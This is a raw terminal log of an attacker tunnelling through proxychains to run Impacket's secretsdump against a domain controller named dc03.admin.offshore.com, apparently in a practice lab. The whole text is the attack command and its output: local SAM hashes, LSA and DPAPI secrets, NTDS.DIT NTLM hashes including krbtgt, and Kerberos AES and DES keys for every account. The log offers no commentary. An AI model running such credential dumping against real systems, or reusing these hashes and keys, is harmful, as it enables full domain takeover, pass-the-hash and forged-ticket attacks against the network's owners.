└─$ proxychains -f proxychains4.conf secretsdump.py dev.admin.offshore.com/Administrator@dc03.admin.offshore.com -k -no-pass -target-ip 172.16.3.5
[proxychains] config file found: proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.10.1.dev1+20230502.194317.86a9fffe - Copyright 2022 Fortra
[proxychains] Strict chain ... 127.0.0.1:6000 ... 172.16.3.5:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:6000 ... DEV.ADMIN.OFFSHORE.COM:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:6000 ... ADMIN.OFFSHORE.COM:88 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe9bc522745cf4fe3cb1a83e0275a6664
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67e1046be5e785dd9773fb6bbeaad49c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ADMIN\DC03$:plain_password_hex:8c8047fe85297c86ff9d2770020d7bba13cd658fa1e1ddb9751997f88828916193b6b096276b2163f6a9102daf9b38dac15416d1c65476962926b3d04780be1e13eabfb9100d4aeb474e0c7fbfb389a2cabc83fe1e46af878812578ba41d600f5cfbeac70eaecebb14b9e3734fc656f33a64cf45ebce1d3f82e1113b2e2d972c8960e85f74a0feae3864d637b1b71e1b435af6f8681a5010d189c04e9ac544377e713581b816ee13c2cf35b4a1c0ec67b4e23d277bf840d7da926d8a7f696a04bb2191e8f32372434f4b46922849421aa1f393f269c794225933e702eff267664805b7d62544cac74bf373c817d370f4
ADMIN\DC03$:aad3b435b51404eeaad3b435b51404ee:a309490aabcffeea561fb1d8b36607d0:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x18a601ae1b8a529533205e9f4fa047bdf25515aa
dpapi_userkey:0xb16880e2a0da1b1b94c43a0f6175f35b6ff266e8
[*] NL$KM
0000 99 4F 5D 6C 55 B9 EC B5 0C 0B D8 75 A2 88 93 E4 .O]lU......u....
0010 C0 D9 EF C5 0D B9 40 57 92 39 9A BE 9D A5 83 ED ......@W.9......
0020 11 CB 71 7C AB 32 CD 11 FD 7A ED 2E AB BE F1 62 ..q|.2...z.....b
0030 58 F2 1D 8A AC 9F AC FB 32 17 D8 EE B3 BD A5 DC X.......2.......
NL$KM:994f5d6c55b9ecb50c0bd875a28893e4c0d9efc50db9405792399abe9da583ed11cb717cab32cd11fd7aed2eabbef16258f21d8aac9facfb3217d8eeb3bda5dc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:6000 ... 172.16.3.5:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:6000 ... 172.16.3.5:49667 ... OK
[proxychains] Strict chain ... 127.0.0.1:6000 ... DEV.ADMIN.OFFSHORE.COM:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:6000 ... ADMIN.OFFSHORE.COM:88 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f2594c9e60abf7e28e7601db343a7e24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ea9112d4beb759907688c9e267eff246:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ADMIN.OFFSHORE.COM\bankvault:3113:aad3b435b51404eeaad3b435b51404ee:0ce1cb01ade331cdba32d0e1fba338a1:::
DC03$:1000:aad3b435b51404eeaad3b435b51404ee:a309490aabcffeea561fb1d8b36607d0:::
MS01$:1107:aad3b435b51404eeaad3b435b51404ee:db505645b78f70ae01dd6cebbe4b2b8b:::
WS04$:1108:aad3b435b51404eeaad3b435b51404ee:2abf50d13b5e08b92ac2d90c1d125b99:::
DEV$:3101:aad3b435b51404eeaad3b435b51404ee:f088ed14cde993d33da1dfc496fb570f:::
CLIENT$:3104:aad3b435b51404eeaad3b435b51404ee:b5cff08008bed5747eedbe07594c0b64:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:453a433c16a83d851fb6a438c90f09f2d660eb0fb9bf3dc31edbdd7a94a60ffc
Administrator:aes128-cts-hmac-sha1-96:a2509236168e4857908701a755518299
Administrator:des-cbc-md5:233b865bad7668b6
krbtgt:aes256-cts-hmac-sha1-96:58beeff48c58737dcb85393e250a367a7462c29e80703e035967e686ed9af201
krbtgt:aes128-cts-hmac-sha1-96:51b0469b7d90b608c525c394d781831b
krbtgt:des-cbc-md5:1013bc2ce5687ff1
ADMIN.OFFSHORE.COM\bankvault:aes256-cts-hmac-sha1-96:fbceea8b5294797c9f20677957e0ff84b42beb9a978f183b16908c8806def3ed
ADMIN.OFFSHORE.COM\bankvault:aes128-cts-hmac-sha1-96:6f9ce7d93299b283858a2be06c5ae513
ADMIN.OFFSHORE.COM\bankvault:des-cbc-md5:1f1a6d5dbc866ef8
DC03$:aes256-cts-hmac-sha1-96:ceaff47ab9c416102a58155ac86df466c8d60d2a3dca0421b427fea7db3adeb6
DC03$:aes128-cts-hmac-sha1-96:8c8643b572618be77e7677c1ff104883
DC03$:des-cbc-md5:0802f2f1985b4c2a
MS01$:aes256-cts-hmac-sha1-96:4565ddbde8c7ca819229c319a77ebe6724b21ab0ac54eec9181889029d2778f1
MS01$:aes128-cts-hmac-sha1-96:27c59fa830e41d0f09dd98db2d5a4e70
MS01$:des-cbc-md5:f454a2d3b5c1e6e6
WS04$:aes256-cts-hmac-sha1-96:da3d89ef3a675c6142daee014c5aa1130974d42f3ae13f6e12783e2c9c4ef8c8
WS04$:aes128-cts-hmac-sha1-96:583dc7c36c6ff2631e697e215d853a3b
WS04$:des-cbc-md5:f801bad6cb85fd85
DEV$:aes256-cts-hmac-sha1-96:4c21d0a437c00a1be490085306ddbc5a3c7321212843ee04f0268f1662346231
DEV$:aes128-cts-hmac-sha1-96:ab0cccb4176394bce6351c638d92db71
DEV$:des-cbc-md5:49a154673bbc07d3
CLIENT$:aes256-cts-hmac-sha1-96:a4efca772bf21049dd0feb94921c6ef9b8b9cc2a270db742ed68ce1aaafcc788
CLIENT$:aes128-cts-hmac-sha1-96:d411d11b23e2f9252e4e9a9fabcb00ea
CLIENT$:des-cbc-md5:64fbf4bcc7b346d5